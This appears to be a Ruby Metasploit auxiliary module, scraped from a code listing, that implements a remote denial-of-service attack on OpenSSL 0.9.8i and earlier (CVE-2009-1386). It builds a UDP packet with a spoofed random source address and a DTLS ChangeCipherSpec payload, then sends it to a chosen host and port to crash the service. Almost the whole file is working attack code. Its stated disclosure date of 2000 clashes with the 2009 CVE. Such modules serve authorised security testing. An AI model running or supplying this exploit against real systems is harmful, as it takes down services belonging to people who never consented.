61 lines
1.6 KiB
Ruby
61 lines
1.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Auxiliary::Dos
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include Msf::Exploit::Capture
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS',
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'Description' => %q{
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This module performs a Denial of Service Attack against Datagram TLS in OpenSSL
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version 0.9.8i and earlier. OpenSSL crashes under these versions when it recieves a
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ChangeCipherspec Datagram before a ClientHello.
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},
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'Author' => [
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'Jon Oberheide <jon[at]oberheide.org>', #original code
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'theLightCosine' # metasploit module
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2009-1386' ],
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[ 'OSVDB', '55073'],
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],
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'DisclosureDate' => 'Apr 26 2000'))
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deregister_options('FILTER','PCAPFILE', 'INTERFACE', 'SNAPLEN', 'TIMEOUT')
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end
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def run
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open_pcap
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print_status("Creating DTLS ChangeCipherSpec Datagram...")
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p = PacketFu::UDPPacket.new
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p.ip_daddr = datastore['RHOST']
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p.ip_src = rand(0x100000000)
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p.ip_ttl = 44
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p.udp_sport = 34060
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p.udp_dport = datastore['RPORT'].to_i
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p.payload = "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01"
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p.recalc
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print_status("Sending Datagram to target...")
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capture_sendto(p, '255.255.255.255')
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close_pcap
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end
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end
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